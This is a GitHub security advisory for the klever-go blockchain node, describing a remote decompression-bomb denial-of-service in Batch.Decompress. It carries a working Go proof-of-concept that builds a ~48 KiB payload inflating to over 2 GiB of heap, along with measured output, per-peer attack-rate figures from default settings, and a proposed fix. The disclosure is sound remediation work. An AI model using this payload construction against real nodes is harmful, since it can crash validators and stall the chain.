GHSA-87M7-QFFR-542V

Vulnerability from github – Published: 2026-05-13 01:36 – Updated: 2026-05-29 21:57
VLAI
Summary
Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload
Details

Summary

A remote, unauthenticated denial-of-service vulnerability in Batch.Decompress (data/batch/batch.go) allows any peer that participates in a topic served by MultiDataInterceptor to allocate multi-gigabyte heaps on the receiving node from a sub-50 KiB gossip payload. A single packet is sufficient to OOM-kill a validator with conventional memory provisioning. Fleet-wide application affects chain liveness.

The vulnerability was identified during an internal security review of core/process/interceptors/multiDataInterceptor.go at commit 405d01b0abbf0d3e73b4a990bd7394a01f200dc2. It is distinct from, and substantially more severe than, the throttler-slot-leak vulnerability disclosed in GHSA-74m6-4hjp-7226. Both reports cover adjacent code in the same call path; the patches must land together in one release (rc2 superseding rc1).

Two additional, lower-severity hardening issues affecting the same code path are documented in this report and remediated by the same patch. They are not independently exploitable under the default deployed anti-flood configuration and are not requested as separate CVEs.

Description

MultiDataInterceptor.ProcessReceivedMessage (core/process/interceptors/multiDataInterceptor.go:79) handles every gossip message received on the topics the interceptor is registered for. At lines 95–102 it conditionally decompresses the payload via Batch.Decompress:

if b.IsCompressed {
    err = b.Decompress(mdi.marshalizer)
    if err != nil { ... return err }
}

Batch.Decompress (data/batch/batch.go:109) delegates the gzip step to decompressGzip (data/batch/batch.go:35-53), which performs an unbounded io.ReadAll on the gzip reader:

func decompressGzip(data []byte) ([]byte, error) {
    rdata := bytes.NewReader(data)
    reader, err := gzip.NewReader(rdata)
    if err != nil { return nil, err }
    result, err := io.ReadAll(reader)   // no LimitReader, no DataSize check
    ...
}

After the gzip step succeeds, Decompress re-Unmarshals the inflated bytes back into the Batch value, again with no size cap. The attacker-set ba.DataSize field is never validated on decompression, so the lie is free.

The order of operations in ProcessReceivedMessage:

preProcessMessage              -> anti-flood by COMPRESSED size only
marshalizer.Unmarshal(&b, ..)  -> outer Batch (small, cheap)
b.Decompress(...)              -> UNBOUNDED here  (bomb explodes)
... b.Data populated with N entries ...
antiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)

The count-budget anti-flood check at line 111 runs after Decompress completes, so no anti-flood configuration can prevent the explosion. The only gate above Decompress is preProcessMessage's byte budget, which sees only the compressed payload size and is trivially satisfied by a sub-MB bomb.

Proof of Concept

The PoC is a self-contained Go test that exercises the real data/batch.Batch.Decompress function and the production factory.ProtoMarshalizer. No mocks. Both the attacker-side construction (marshal a Batch of millions of empty entries, gzip, wrap in an outer compressed Batch) and the receiver-side path (mrs.Unmarshal → received.Decompress(mrs)) are exactly what runs in production at the reviewed commit.

The headline test (TestC2_DecompressionBomb_ValidInner) constructs a ~48 KiB outer wire payload that decompresses to 25 million []byte entries, and samples runtime.HeapAlloc every 5 ms during Decompress to capture the peak (since the inflated buffer is freed once Decompress returns).

Test source

Place the file under playground/p2pflood/c2_decompression_bomb_test.go in a checkout of the reviewed commit, then run:

go test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...

package p2pflood_test

import (
    "bytes"
    "compress/gzip"
    "runtime"
    "sync/atomic"
    "testing"
    "time"

    "github.com/klever-io/klever-go/data/batch"
    "github.com/klever-io/klever-go/tools/marshal/factory"
)

const inflatedSize = 256 << 20 // 256 MiB

// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.
// A real attacker produces this offline; the streaming form here keeps
// the test's own attacker-side allocation small.
func buildGzipOfZeros(t *testing.T, size int) []byte {
    t.Helper()
    var buf bytes.Buffer
    gz := gzip.NewWriter(&buf)
    chunk := make([]byte, 1<<20)
    for written := 0; written < size; {
        n := len(chunk)
        if size-written < n {
            n = size - written
        }
        if _, err := gz.Write(chunk[:n]); err != nil {
            t.Fatalf("gzip write: %v", err)
        }
        written += n
    }
    if err := gz.Close(); err != nil {
        t.Fatalf("gzip close: %v", err)
    }
    return buf.Bytes()
}

// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and
// returns (peak, baseline). In-flight sampling is required because
// Decompress's internal allocations may be reclaimed by GC before the
// function returns.
func peakHeapDuring(fn func()) (peak, baseline uint64) {
    runtime.GC()
    var ms runtime.MemStats
    runtime.ReadMemStats(&ms)
    baseline = ms.HeapAlloc

    var stop atomic.Bool
    peakPtr := new(atomic.Uint64)
    peakPtr.Store(baseline)
    done := make(chan struct{})
    go func() {
        ticker := time.NewTicker(5 * time.Millisecond)
        defer ticker.Stop()
        var s runtime.MemStats
        for !stop.Load() {
            runtime.ReadMemStats(&s)
            cur := s.HeapAlloc
            for {
                old := peakPtr.Load()
                if cur <= old || peakPtr.CompareAndSwap(old, cur) {
                    break
                }
            }
            <-ticker.C
        }
        close(done)
    }()

    fn()

    stop.Store(true)
    <-done
    return peakPtr.Load(), baseline
}

// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.
// All-zeros inflated payload; inner Unmarshal-after-decompress fails,
// but the gzip output buffer is already allocated.
func TestC2_DecompressionBomb_RawZeros(t *testing.T) {
    mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
    if err != nil {
        t.Fatalf("marshalizer: %v", err)
    }

    bombStream := buildGzipOfZeros(t, inflatedSize)

    bomb := &batch.Batch{
        IsCompressed: true,
        Algo:         batch.CType_GZip,
        Stream:       bombStream,
        DataSize:     1, // a lie — Decompress ignores it
    }
    wire, err := mrs.Marshal(bomb)
    if err != nil {
        t.Fatalf("marshal: %v", err)
    }

    t.Logf("  wire payload (after Marshal): %d bytes (%.2f KiB)",
        len(wire), float64(len(wire))/1024.0)
    t.Logf("  advertised DataSize:          %d", bomb.DataSize)
    t.Logf("  actual decompressed size:     %d bytes (%.2f MiB)",
        inflatedSize, float64(inflatedSize)/(1<<20))

    bomb = nil
    bombStream = nil
    runtime.GC()

    received := &batch.Batch{}
    if err := mrs.Unmarshal(received, wire); err != nil {
        t.Fatalf("receiver outer unmarshal: %v", err)
    }
    if !received.IsCompressed {
        t.Fatalf("expected IsCompressed=true after outer unmarshal")
    }

    start := time.Now()
    var decompressErr error
    peak, baseline := peakHeapDuring(func() {
        decompressErr = received.Decompress(mrs)
    })
    elapsed := time.Since(start)

    allocated := peak - baseline
    amp := float64(allocated) / float64(len(wire))
    t.Logf("  Decompress error: %v (irrelevant — heap already allocated)", decompressErr)
    t.Logf("  peak heap during Decompress: +%d bytes (%.2f MiB)",
        allocated, float64(allocated)/(1<<20))
    t.Logf("  elapsed: %v", elapsed)
    t.Logf("  amplification: %.0fx (wire -> heap)", amp)

    if allocated < uint64(inflatedSize/2) {
        t.Fatalf("heap delta only %.2f MiB — vuln may already be patched",
            float64(allocated)/(1<<20))
    }
    if amp < 100 {
        t.Fatalf("amplification only %.1fx — expected >>100x", amp)
    }
}

// TestC2_DecompressionBomb_ValidInner: realistic ceiling — gzip stream
// decompresses to a valid marshaled Batch with N=25M empty entries.
// Decompress's internal Unmarshal succeeds and additionally allocates
// the [][]byte slice. All before any count-based anti-flood runs.
func TestC2_DecompressionBomb_ValidInner(t *testing.T) {
    mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)
    if err != nil {
        t.Fatalf("marshalizer: %v", err)
    }

    const N = 25_000_000

    innerBatch := &batch.Batch{Data: make([][]byte, N)}
    innerWire, err := mrs.Marshal(innerBatch)
    if err != nil {
        t.Fatalf("inner marshal: %v", err)
    }
    innerBatch = nil
    runtime.GC()

    var compressed bytes.Buffer
    gz := gzip.NewWriter(&compressed)
    if _, err := gz.Write(innerWire); err != nil {
        t.Fatalf("gz write: %v", err)
    }
    if err := gz.Close(); err != nil {
        t.Fatalf("gz close: %v", err)
    }
    innerWireLen := len(innerWire)
    innerWire = nil
    runtime.GC()

    bomb := &batch.Batch{
        IsCompressed: true,
        Algo:         batch.CType_GZip,
        Stream:       compressed.Bytes(),
        DataSize:     1,
    }
    wire, err := mrs.Marshal(bomb)
    if err != nil {
        t.Fatalf("outer marshal: %v", err)
    }
    t.Logf("  inner wire (uncompressed):    %d bytes (%.2f MiB)",
        innerWireLen, float64(innerWireLen)/(1<<20))
    t.Logf("  outer wire (gzip-wrapped):    %d bytes (%.2f KiB)",
        len(wire), float64(len(wire))/1024.0)
    t.Logf("  inner -> outer compression:   %.0fx",
        float64(innerWireLen)/float64(len(wire)))

    bomb = nil
    compressed.Reset()
    runtime.GC()

    received := &batch.Batch{}
    if err := mrs.Unmarshal(received, wire); err != nil {
        t.Fatalf("receiver outer unmarshal: %v", err)
    }

    start := time.Now()
    var decompressErr error
    peak, baseline := peakHeapDuring(func() {
        // Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the
        // count-budget anti-flood at line 111.
        decompressErr = received.Decompress(mrs)
    })
    elapsed := time.Since(start)

    allocated := peak - baseline
    amp := float64(allocated) / float64(len(wire))
    t.Logf("  Decompress returned: %v", decompressErr)
    t.Logf("  Decompressed b.Data length: %d (matches N=%d? %v)",
        len(received.Data), N, len(received.Data) == N)
    t.Logf("  peak heap during Decompress: +%d bytes (%.2f MiB)",
        allocated, float64(allocated)/(1<<20))
    t.Logf("  elapsed: %v", elapsed)
    t.Logf("  amplification: %.0fx (wire -> heap)", amp)

    if decompressErr != nil {
        t.Fatalf("Decompress unexpectedly failed: %v", decompressErr)
    }
    if len(received.Data) != N {
        t.Fatalf("inner Unmarshal lost entries: got %d want %d",
            len(received.Data), N)
    }
    if allocated < 256<<20 {
        t.Fatalf("heap delta only %.2f MiB — expected >256 MiB",
            float64(allocated)/(1<<20))
    }
    runtime.KeepAlive(received)
}

Measured output

Apple-silicon dev machine, go 1.25, against commit 405d01b0abbf0d3e73b4a990bd7394a01f200dc2:

=== RUN   TestC2_DecompressionBomb_RawZeros
      wire payload (after Marshal): 260938 bytes (254.82 KiB)
      advertised DataSize:          1
      actual decompressed size:     268435456 bytes (256.00 MiB)
      Decompress error: proto: cannot parse invalid wire-format data (irrelevant — heap already allocated)
      peak heap during Decompress: +887994584 bytes (846.86 MiB)
      elapsed: 155.79ms
      amplification: 3403x (wire -> heap)
--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)

=== RUN   TestC2_DecompressionBomb_ValidInner
      inner wire (uncompressed):    50000000 bytes (47.68 MiB)
      outer wire (gzip-wrapped):    48642 bytes (47.50 KiB)
      inner -> outer compression:   1028x
      Decompress returned: <nil>
      Decompressed b.Data length: 25000000 (matches N=25000000? true)
      peak heap during Decompress: +2218262232 bytes (2115.50 MiB)
      elapsed: 582.92ms
      amplification: 45604x (wire -> heap)
--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)

Reproduction: any commit that includes data/batch/batch.go in its current decompressGzip/Decompress form. The PoC does not depend on libp2p, the live interceptor stack, or any deployed configuration — the bug is in Batch.Decompress itself; any caller that reaches it pays for the unbounded allocation.

The PoC sources (along with a companion test for the bundled slice-prealloc finding) live under playground/p2pflood/ on the maintainer's local workstation and have not been pushed to any branch. They will be converted into a regression-test suite alongside the patch in the private fork.

Impact

A single connected peer publishing on a topic served by MultiDataInterceptor (which on a public chain includes any anonymous gossip publisher) can cause the receiving node to allocate 2+ GiB of heap in under one second per packet.

With the default deployed configuration (peerMaxInput.totalSizePerInterval: 4194304 = 4 MiB/s per peer), an attacker can ship roughly 80 such bombs per second per connected peer before tripping the per-peer byte budget. The per-peer message count limit (baseMessagesPerInterval: 140 per fastReacting interval, 1000 before blacklisting) is high enough to permit the attack to run for several seconds before any blacklist activates. By that point the node process is already OOM-killed.

Realistic attack scenarios:

  • A single attacker connected to one validator can OOM that validator in under a second (one bomb suffices on memory-constrained nodes).
  • A small number of malicious peers spread across the validator fleet can OOM the entire fleet within a single block-production interval, affecting chain liveness.
  • Eclipse-attack composition: the cost is paid before any peer reputation logic runs, so the attack works regardless of whether the receiver attributes the message to originator or relayer.

Affected Code

  • data/batch/batch.go:35-53 — decompressGzip, unbounded io.ReadAll
  • data/batch/batch.go:109-137 — Batch.Decompress, ignores DataSize, re-Unmarshals inflated bytes
  • core/process/interceptors/multiDataInterceptor.go:95-102 — call site
  • core/process/interceptors/multiDataInterceptor.go:84-94 — preceding Unmarshal step

Patches

A patch is in preparation on a private branch and will land in rc2, together with the fix for GHSA-74m6-4hjp-7226. The intended fix shape:

const maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic

func decompressGzip(data []byte, max int64) ([]byte, error) {
    r, err := gzip.NewReader(bytes.NewReader(data))
    if err != nil { return nil, err }
    defer r.Close()
    lr := io.LimitReader(r, max+1)
    out, err := io.ReadAll(lr)
    if err != nil { return nil, err }
    if int64(len(out)) > max {
        return nil, ErrDecompressionTooLarge
    }
    return out, nil
}

func (ba *Batch) Decompress(m marshal.Marshalizer) error {
    if !ba.IsCompressed { return common.ErrNotCompressed }
    if ba.DataSize > maxInflatedBatch {
        return ErrDecompressionTooLarge
    }
    result, err := decompressGzip(ba.Stream, maxInflatedBatch)
    if err != nil { return err }
    if int64(len(result)) != int64(ba.DataSize) && ba.DataSize > 0 {
        return ErrDecompressedSizeMismatch
    }
    if err := m.Unmarshal(ba, result); err != nil { return err }
    ba.Stream, ba.IsCompressed = nil, false
    return nil
}

The cap value should be selected per topic. A 64 MiB ceiling preserves backward compatibility for legitimate large batches while reducing the worst-case allocation by ≈30× relative to the measured PoC and ≈400× relative to the upper bound of an uncapped attack.

A regression test based on the PoC will accompany the patch.

Workarounds

None at the configuration level. The peerMaxInput.totalSizePerInterval budget could theoretically be lowered, but as the PoC measurements show, a single bomb is already lethal on memory-constrained nodes. Patch is required.

Bundled Hardening (no separate CVE)

The following two issues were identified in the same call path during the review. They are not independently exploitable under the default deployed defaultMaxMessagesPerSec: 35000 per-topic anti-flood limit and so do not warrant their own CVEs. They are remediated by the same patch as the headline vulnerability and are documented here for transparency.

Bundled #1 — Slice pre-allocation amplification (CWE-789, CWE-770)

multiDataInterceptor.go:123 performs:

listInterceptedData := make([]process.InterceptedData, len(multiDataBuff))

len(multiDataBuff) is len(b.Data) after Unmarshal and Decompress, both of which are attacker-controlled. Under the default per-topic count budget this is bounded; a deployer who loosens that budget, or any future code path that bypasses it, would expose ≈16 bytes × attacker-chosen-N of allocation. The same patch caps len(b.Data) immediately after Unmarshal, again after Decompress, and before the make.

The unconditional component of this finding — that Decompress's internal Unmarshal populates b.Data with N []byte slice headers (24 B each) before any count-budget check runs — is captured by the headline finding's PoC.

Bundled #2 — Self-message anti-flood bypass (CWE-290, CWE-693)

baseDataInterceptor.go:32 exempts messages from anti-flood enforcement when:

bytes.Equal(m.Signature(), m.From()) &&
bytes.Equal(m.From(), bdi.currentPeerID.Bytes()) &&
fromConnectedPeer == bdi.currentPeerID

The first equality is a sentinel byte comparison, not a cryptographic check. Exploitability depends on whether the upstream libp2p stack verifies envelope signatures before reaching preProcessMessage. The patch replaces the sentinel with a defense-in-depth check and ensures throttler accounting still runs on the self-message path.

Coordination with GHSA-74m6-4hjp-7226

The maintainer team is concurrently handling GHSA-74m6-4hjp-7226, which discloses an adjacent throttler-slot-leak finding in the same ProcessReceivedMessage function. The two CVEs are independently fixable per CNA Operational Rules, but operationally the patches must land in one release. rc2 will supersede rc1 and contain fixes for both advisories. Validators upgrade once.

Credits

Fernando Sobreira (maintainer, internal security review).

References

  • Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2
  • Related advisory: GHSA-74m6-4hjp-7226
  • CWE-409: https://cwe.mitre.org/data/definitions/409.html
  • CWE-770: https://cwe.mitre.org/data/definitions/770.html
Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T01:36:27Z",
    "nvd_published_at": "2026-05-29T18:17:09Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA remote, unauthenticated denial-of-service vulnerability in\n`Batch.Decompress` (`data/batch/batch.go`) allows any peer that\nparticipates in a topic served by `MultiDataInterceptor` to allocate\nmulti-gigabyte heaps on the receiving node from a sub-50 KiB gossip\npayload. A single packet is sufficient to OOM-kill a validator with\nconventional memory provisioning. Fleet-wide application affects chain\nliveness.\n\nThe vulnerability was identified during an internal security review of\n`core/process/interceptors/multiDataInterceptor.go` at commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`. It is distinct from, and\nsubstantially more severe than, the throttler-slot-leak vulnerability\ndisclosed in `GHSA-74m6-4hjp-7226`. Both reports cover adjacent code in\nthe same call path; the patches must land together in one release\n(rc2 superseding rc1).\n\nTwo additional, lower-severity hardening issues affecting the same code\npath are documented in this report and remediated by the same patch.\nThey are not independently exploitable under the default deployed\nanti-flood configuration and are not requested as separate CVEs.\n\n## Description\n\n`MultiDataInterceptor.ProcessReceivedMessage`\n(`core/process/interceptors/multiDataInterceptor.go:79`) handles every\ngossip message received on the topics the interceptor is registered for.\nAt lines 95\u2013102 it conditionally decompresses the payload via\n`Batch.Decompress`:\n\n```go\nif b.IsCompressed {\n    err = b.Decompress(mdi.marshalizer)\n    if err != nil { ... return err }\n}\n```\n\n`Batch.Decompress` (`data/batch/batch.go:109`) delegates the gzip step to\n`decompressGzip` (`data/batch/batch.go:35-53`), which performs an\nunbounded `io.ReadAll` on the gzip reader:\n\n```go\nfunc decompressGzip(data []byte) ([]byte, error) {\n    rdata := bytes.NewReader(data)\n    reader, err := gzip.NewReader(rdata)\n    if err != nil { return nil, err }\n    result, err := io.ReadAll(reader)   // no LimitReader, no DataSize check\n    ...\n}\n```\n\nAfter the gzip step succeeds, `Decompress` re-`Unmarshal`s the inflated\nbytes back into the `Batch` value, again with no size cap. The\nattacker-set `ba.DataSize` field is never validated on decompression, so\nthe lie is free.\n\nThe order of operations in `ProcessReceivedMessage`:\n\n```\npreProcessMessage              -\u003e anti-flood by COMPRESSED size only\nmarshalizer.Unmarshal(\u0026b, ..)  -\u003e outer Batch (small, cheap)\nb.Decompress(...)              -\u003e UNBOUNDED here  (bomb explodes)\n... b.Data populated with N entries ...\nantiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)\n```\n\nThe count-budget anti-flood check at line 111 runs *after* `Decompress`\ncompletes, so no anti-flood configuration can prevent the explosion. The\nonly gate above `Decompress` is `preProcessMessage`\u0027s byte budget, which\nsees only the *compressed* payload size and is trivially satisfied by a\nsub-MB bomb.\n\n## Proof of Concept\n\nThe PoC is a self-contained Go test that exercises the real\n`data/batch.Batch.Decompress` function and the production\n`factory.ProtoMarshalizer`. No mocks. Both the attacker-side construction\n(marshal a `Batch` of millions of empty entries, gzip, wrap in an outer\ncompressed `Batch`) and the receiver-side path (`mrs.Unmarshal` \u2192 \n`received.Decompress(mrs)`) are exactly what runs in production at the\nreviewed commit.\n\nThe headline test (`TestC2_DecompressionBomb_ValidInner`) constructs a\n~48 KiB outer wire payload that decompresses to 25 million `[]byte`\nentries, and samples `runtime.HeapAlloc` every 5 ms during `Decompress`\nto capture the peak (since the inflated buffer is freed once `Decompress`\nreturns).\n\n### Test source\n\nPlace the file under `playground/p2pflood/c2_decompression_bomb_test.go`\nin a checkout of the reviewed commit, then run:\n\n```\ngo test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...\n```\n\n```go\npackage p2pflood_test\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"runtime\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/klever-io/klever-go/data/batch\"\n\t\"github.com/klever-io/klever-go/tools/marshal/factory\"\n)\n\nconst inflatedSize = 256 \u003c\u003c 20 // 256 MiB\n\n// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.\n// A real attacker produces this offline; the streaming form here keeps\n// the test\u0027s own attacker-side allocation small.\nfunc buildGzipOfZeros(t *testing.T, size int) []byte {\n\tt.Helper()\n\tvar buf bytes.Buffer\n\tgz := gzip.NewWriter(\u0026buf)\n\tchunk := make([]byte, 1\u003c\u003c20)\n\tfor written := 0; written \u003c size; {\n\t\tn := len(chunk)\n\t\tif size-written \u003c n {\n\t\t\tn = size - written\n\t\t}\n\t\tif _, err := gz.Write(chunk[:n]); err != nil {\n\t\t\tt.Fatalf(\"gzip write: %v\", err)\n\t\t}\n\t\twritten += n\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gzip close: %v\", err)\n\t}\n\treturn buf.Bytes()\n}\n\n// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and\n// returns (peak, baseline). In-flight sampling is required because\n// Decompress\u0027s internal allocations may be reclaimed by GC before the\n// function returns.\nfunc peakHeapDuring(fn func()) (peak, baseline uint64) {\n\truntime.GC()\n\tvar ms runtime.MemStats\n\truntime.ReadMemStats(\u0026ms)\n\tbaseline = ms.HeapAlloc\n\n\tvar stop atomic.Bool\n\tpeakPtr := new(atomic.Uint64)\n\tpeakPtr.Store(baseline)\n\tdone := make(chan struct{})\n\tgo func() {\n\t\tticker := time.NewTicker(5 * time.Millisecond)\n\t\tdefer ticker.Stop()\n\t\tvar s runtime.MemStats\n\t\tfor !stop.Load() {\n\t\t\truntime.ReadMemStats(\u0026s)\n\t\t\tcur := s.HeapAlloc\n\t\t\tfor {\n\t\t\t\told := peakPtr.Load()\n\t\t\t\tif cur \u003c= old || peakPtr.CompareAndSwap(old, cur) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\t\u003c-ticker.C\n\t\t}\n\t\tclose(done)\n\t}()\n\n\tfn()\n\n\tstop.Store(true)\n\t\u003c-done\n\treturn peakPtr.Load(), baseline\n}\n\n// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.\n// All-zeros inflated payload; inner Unmarshal-after-decompress fails,\n// but the gzip output buffer is already allocated.\nfunc TestC2_DecompressionBomb_RawZeros(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tbombStream := buildGzipOfZeros(t, inflatedSize)\n\n\tbomb := \u0026batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo:         batch.CType_GZip,\n\t\tStream:       bombStream,\n\t\tDataSize:     1, // a lie \u2014 Decompress ignores it\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal: %v\", err)\n\t}\n\n\tt.Logf(\"  wire payload (after Marshal): %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\"  advertised DataSize:          %d\", bomb.DataSize)\n\tt.Logf(\"  actual decompressed size:     %d bytes (%.2f MiB)\",\n\t\tinflatedSize, float64(inflatedSize)/(1\u003c\u003c20))\n\n\tbomb = nil\n\tbombStream = nil\n\truntime.GC()\n\n\treceived := \u0026batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\tif !received.IsCompressed {\n\t\tt.Fatalf(\"expected IsCompressed=true after outer unmarshal\")\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\"  Decompress error: %v (irrelevant \u2014 heap already allocated)\", decompressErr)\n\tt.Logf(\"  peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1\u003c\u003c20))\n\tt.Logf(\"  elapsed: %v\", elapsed)\n\tt.Logf(\"  amplification: %.0fx (wire -\u003e heap)\", amp)\n\n\tif allocated \u003c uint64(inflatedSize/2) {\n\t\tt.Fatalf(\"heap delta only %.2f MiB \u2014 vuln may already be patched\",\n\t\t\tfloat64(allocated)/(1\u003c\u003c20))\n\t}\n\tif amp \u003c 100 {\n\t\tt.Fatalf(\"amplification only %.1fx \u2014 expected \u003e\u003e100x\", amp)\n\t}\n}\n\n// TestC2_DecompressionBomb_ValidInner: realistic ceiling \u2014 gzip stream\n// decompresses to a valid marshaled Batch with N=25M empty entries.\n// Decompress\u0027s internal Unmarshal succeeds and additionally allocates\n// the [][]byte slice. All before any count-based anti-flood runs.\nfunc TestC2_DecompressionBomb_ValidInner(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tconst N = 25_000_000\n\n\tinnerBatch := \u0026batch.Batch{Data: make([][]byte, N)}\n\tinnerWire, err := mrs.Marshal(innerBatch)\n\tif err != nil {\n\t\tt.Fatalf(\"inner marshal: %v\", err)\n\t}\n\tinnerBatch = nil\n\truntime.GC()\n\n\tvar compressed bytes.Buffer\n\tgz := gzip.NewWriter(\u0026compressed)\n\tif _, err := gz.Write(innerWire); err != nil {\n\t\tt.Fatalf(\"gz write: %v\", err)\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gz close: %v\", err)\n\t}\n\tinnerWireLen := len(innerWire)\n\tinnerWire = nil\n\truntime.GC()\n\n\tbomb := \u0026batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo:         batch.CType_GZip,\n\t\tStream:       compressed.Bytes(),\n\t\tDataSize:     1,\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"outer marshal: %v\", err)\n\t}\n\tt.Logf(\"  inner wire (uncompressed):    %d bytes (%.2f MiB)\",\n\t\tinnerWireLen, float64(innerWireLen)/(1\u003c\u003c20))\n\tt.Logf(\"  outer wire (gzip-wrapped):    %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\"  inner -\u003e outer compression:   %.0fx\",\n\t\tfloat64(innerWireLen)/float64(len(wire)))\n\n\tbomb = nil\n\tcompressed.Reset()\n\truntime.GC()\n\n\treceived := \u0026batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\t// Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the\n\t\t// count-budget anti-flood at line 111.\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\"  Decompress returned: %v\", decompressErr)\n\tt.Logf(\"  Decompressed b.Data length: %d (matches N=%d? %v)\",\n\t\tlen(received.Data), N, len(received.Data) == N)\n\tt.Logf(\"  peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1\u003c\u003c20))\n\tt.Logf(\"  elapsed: %v\", elapsed)\n\tt.Logf(\"  amplification: %.0fx (wire -\u003e heap)\", amp)\n\n\tif decompressErr != nil {\n\t\tt.Fatalf(\"Decompress unexpectedly failed: %v\", decompressErr)\n\t}\n\tif len(received.Data) != N {\n\t\tt.Fatalf(\"inner Unmarshal lost entries: got %d want %d\",\n\t\t\tlen(received.Data), N)\n\t}\n\tif allocated \u003c 256\u003c\u003c20 {\n\t\tt.Fatalf(\"heap delta only %.2f MiB \u2014 expected \u003e256 MiB\",\n\t\t\tfloat64(allocated)/(1\u003c\u003c20))\n\t}\n\truntime.KeepAlive(received)\n}\n```\n\n### Measured output\n\nApple-silicon dev machine, `go 1.25`, against commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`:\n\n```\n=== RUN   TestC2_DecompressionBomb_RawZeros\n      wire payload (after Marshal): 260938 bytes (254.82 KiB)\n      advertised DataSize:          1\n      actual decompressed size:     268435456 bytes (256.00 MiB)\n      Decompress error: proto: cannot parse invalid wire-format data (irrelevant \u2014 heap already allocated)\n      peak heap during Decompress: +887994584 bytes (846.86 MiB)\n      elapsed: 155.79ms\n      amplification: 3403x (wire -\u003e heap)\n--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)\n\n=== RUN   TestC2_DecompressionBomb_ValidInner\n      inner wire (uncompressed):    50000000 bytes (47.68 MiB)\n      outer wire (gzip-wrapped):    48642 bytes (47.50 KiB)\n      inner -\u003e outer compression:   1028x\n      Decompress returned: \u003cnil\u003e\n      Decompressed b.Data length: 25000000 (matches N=25000000? true)\n      peak heap during Decompress: +2218262232 bytes (2115.50 MiB)\n      elapsed: 582.92ms\n      amplification: 45604x (wire -\u003e heap)\n--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)\n```\n\nReproduction: any commit that includes `data/batch/batch.go` in its\ncurrent `decompressGzip`/`Decompress` form. The PoC does not depend on\nlibp2p, the live interceptor stack, or any deployed configuration \u2014 the\nbug is in `Batch.Decompress` itself; any caller that reaches it pays\nfor the unbounded allocation.\n\nThe PoC sources (along with a companion test for the bundled\nslice-prealloc finding) live under `playground/p2pflood/` on the\nmaintainer\u0027s local workstation and have not been pushed to any branch.\nThey will be converted into a regression-test suite alongside the patch\nin the private fork.\n\n## Impact\n\nA single connected peer publishing on a topic served by\n`MultiDataInterceptor` (which on a public chain includes any anonymous\ngossip publisher) can cause the receiving node to allocate 2+ GiB of\nheap in under one second per packet.\n\nWith the default deployed 